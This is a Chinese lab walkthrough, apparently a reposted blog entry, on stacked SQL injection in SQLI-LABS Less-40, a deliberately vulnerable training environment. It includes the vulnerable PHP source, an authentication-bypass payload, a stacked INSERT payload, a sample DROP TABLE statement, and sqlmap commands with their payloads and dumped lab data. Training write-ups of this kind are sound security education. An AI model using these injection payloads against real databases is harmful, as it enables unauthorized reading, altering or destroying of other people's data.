当前位置: 首页 > news >正文

广饶网站制作wordpress 发送请求

广饶网站制作,wordpress 发送请求,照片制作视频软件,优化网络搜索引擎目录 一、堆叠注入 二、源码分析 1、代码审计 2、SQL注入安全性分析 三、渗透实战 1、进入靶场 2、万能注入 3、堆叠注入 4、查看数据库 四、sqlmap渗透 SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第40关Less 40基于GET…

目录

一、堆叠注入

二、源码分析

1、代码审计

2、SQL注入安全性分析

三、渗透实战

1、进入靶场

2、万能注入

3、堆叠注入

4、查看数据库

 四、sqlmap渗透


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第40关Less 40基于GET字符型的堆叠注入关卡进行渗透实战。  

一、堆叠注入

堆叠注入是一种特殊的SQL注入技术,攻击者通过在原始查询后添加分号(;),然后拼接额外的SQL语句实现多语句执行。与普通注入不同,堆叠注入允许攻击者一次执行多个完全独立的SQL命令,从而极大扩展了攻击面。这种技术的关键在于数据库服务器支持多语句执行,例如MySQL的mysqli_multi_query()函数或SQL Server的默认配置都允许这种操作。

分类说明
技术名称堆叠注入(Stacked Injection)
核心原理通过在原始SQL查询后添加分号(;)拼接额外SQL语句,实现多语句连续执行。
攻击示例SELECT * FROM users WHERE id=1; DROP TABLE users--
关键依赖数据库服务器需支持多语句执行(如MySQL的mysqli_multi_query())。
典型危害数据删除(DELETE)、表结构修改(ALTER)、权限提升(GRANT)等。
高危操作执行任意数据库命令,远超普通注入的数据泄露范围。
常见支持场景SQL Server(默认支持)、MySQL(需特定驱动如PDO/mysqli启用多语句功能)。
不支持场景PHP的mysql_query()函数(默认禁用多语句)。
防御措施1. 禁用多语句执行功能
2. 严格使用参数化查询
3. 实施最小权限原则。
技术优势可突破单语句限制,实现更复杂的数据库操作。
检测难度较普通注入更难检测,需监控异常分号和多语句执行行为。

二、源码分析

1、代码审计

本关卡Less40是基于GET字符型的堆叠注入关卡,打开对应的源码index.php,如下所示。

Less40关卡的源码功能是简单基于id的查询页面,与39关的区别主要有两组,其一是闭合方式变为单引号括号,其二是查找失败不再打印数据库报错信息,这使得本关卡无法使用报错法注入,对比如下所示。

index.php详细注释过的源码如下所示。

<?php
// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);// 包含数据库连接配置文件
include("../sql-connections/db-creds.inc");
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-40 **stacked Query String type Blind**</title> <!-- 标题注明是字符串型盲注 -->
</head><body bgcolor="#000000">
<!-- 页面样式设置 -->
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 主程序逻辑开始
if(isset($_GET['id'])) // 检查是否接收到id参数
{$id=$_GET['id']; // 直接获取用户输入,无任何过滤// 记录用户输入到日志文件(安全隐患)$fp=fopen('result.txt','a'); // 追加模式打开日志文件fwrite($fp,'ID:'.$id."\n"); // 记录原始输入fclose($fp);/*** 数据库连接部分 ***/$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname); // 创建mysqli连接// 连接错误处理if (mysqli_connect_errno($con1)){echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{// 选择数据库,错误时终止脚本@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}/*** 存在安全风险的SQL查询构造 ***/$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; // 用括号包裹的字符串注入点/*** 执行堆叠查询 ***/if (mysqli_multi_query($con1, $sql)) // 关键堆叠注入风险点:允许执行多语句{// 处理第一个查询结果if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)) // 获取结果行{// 显示用户名和密码echo '<font size = "5" color= "#00FF00">';    printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}}// 检查是否有更多结果集(堆叠查询特征)if (mysqli_more_results($con1)){// 此处可处理额外的查询结果}}// 关闭数据库连接mysqli_close($con1);
}
else 
{ // 未收到id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center>
<!-- 页面底部图片 -->
<img src="../images/Less-40.jpg" /></center>
</body>
</html>

本关卡主要功能是通过GET参数id查询并显示用户信息,具体处理逻辑如下所示。

  • 接收用户输入的id参数使用括号和单引号包裹后直接拼接到SQL语句

  • 使用mysqli_multi_query()执行查询,允许通过分号执行多条SQL语句

  • 查询成功时显示用户名和密码,失败无任何信息输出(这使得无法使用报错法渗透)

  • 所有用户输入会被记录到result.txt日志文件

2、SQL注入安全性分析

很明显本关卡存在堆叠查询(Stacked Query)SQL注入风险,如下所示。

  • 堆叠注入存在根源

    • 使用mysqli_multi_query()函数执行SQL查询。

    • 未对用户输入的$id进行任何过滤或转义。

  • 堆叠注入利用方式

    • 通过分号(;)分隔可以执行多条SQL语句。

    • 攻击者可执行任意SQL命令:SELECT...; INSERT...; UPDATE...; DROP...等。

    • 支持所有数据库操作,不仅仅是数据查询。

    • 闭合方式为单引号括号。

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page3堆叠注入,如下图红框所示。 

其中第40关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap

点击上图红框的Less40关卡,进入到靶场的第40关卡字符型堆叠注入关卡,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-40

2、万能注入

本关卡闭合方式为单引号,使用id=-1' or 1=1 --+进行注入,URL如下所示。

http://192.168.59.1/sqli-labs/Less-40/?id=-1') or 1=1 --+

渗透成功,获取到用户名和密码,如下所示。

 

3、堆叠注入

根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,故而堆叠注入命令插入一个新的用户,id为40,用户名为mooyuan_40,密码为mooyuan,如下所示。

http://192.168.59.1/sqli-labs/Less-40/index.php?id=39');insert into users(id,username,password) values ('40','mooyuan_40','mooyuan')%23

如下所示,页面显示我们39关堆叠注入的用户mooyuan39,密码为mooyuan,渗透成功。 

4、查看数据库

使用navicat查看数据库的users表,如下所示新增用户id为40,用户名为mooyuan_40,密码为mooyuan,说明渗透成功。

 四、sqlmap渗透

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -u http://192.168.59.1/sqli-labs/Less-40/id=1 --current-db --dump --batch

sqlmap渗透成功,可以通过联合注入法、布尔盲注、时间盲注3种方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1') AND 3301=3301 AND ('OVAF'='OVAFType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1') AND (SELECT 5023 FROM (SELECT(SLEEP(5)))fQpf) AND ('TgKX'='TgKXType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-2012') UNION ALL SELECT NULL,NULL,CONCAT(0x717a767671,0x6f4d696a71417972514854566f4a514a44444770504a6f47674e616f5370416f414d546a4377506e,0x7176706a71)-- -
---
[21:02:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[21:02:49] [INFO] fetching current database
current database: 'security'Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+
http://www.dtcms.com/a/448580.html

相关文章:

  • js统计网站访问人数江苏扬州建设工程信息网站
  • 网站建设先进技术网上超市怎么做
  • pc端和手机端网站建设常州网站搭建公司
  • 网站ui设计例子宁波建设网站公司推荐
  • 昆明网站建设哪个公司好长沙网站设计哪家专业
  • 手机网站开发位置定位网站免费正能量不下载
  • 电脑软件下载网站新乡网站设计公司
  • 男女在床上做羞羞的事的网站网站用什么做备份
  • 网站 建设情况网站建设知名公司排名
  • 网站建设合同要交印花吗品展示设计网站
  • 西湖区网站建设小学生做网站软件
  • 企业网站源码 php附近最近的广告公司
  • 梧州网站平台建设公司心理网站模板
  • 提供网站建设报价凡科网做网站如何推广
  • 江苏水利工程建设招投标网站优化网站排名费用
  • 淘宝客api调用到网站定制家具价格
  • 南宁网站建设seo郑州百姓网征婚交友
  • 网站建设成本报表网站建设资料填写
  • 邯郸市网站建设多少钱中企中立做的网站好吗
  • 常州网站制作系统租腾讯服务器做网站行吗
  • 湘阴县住房建设局网站财务软件哪个好用
  • 代做cad平面图的网站阿里巴巴能拿货在家里做的网站
  • 廊坊网站制作服务手机网站源文件
  • 网站命名方式wordpress评论内容密码保护
  • 网站平台建设费用手机app开发软件教程
  • 网站建设_seo技术支持青岛网站的优化
  • 备案关闭网站建设影响软件开发平台方案
  • 做网站需要固定ip么wordpress去除warning
  • 口碑好的网站建设哪家好wordpress课程购买
  • 美观网站建设价格恒华大厦做网站公司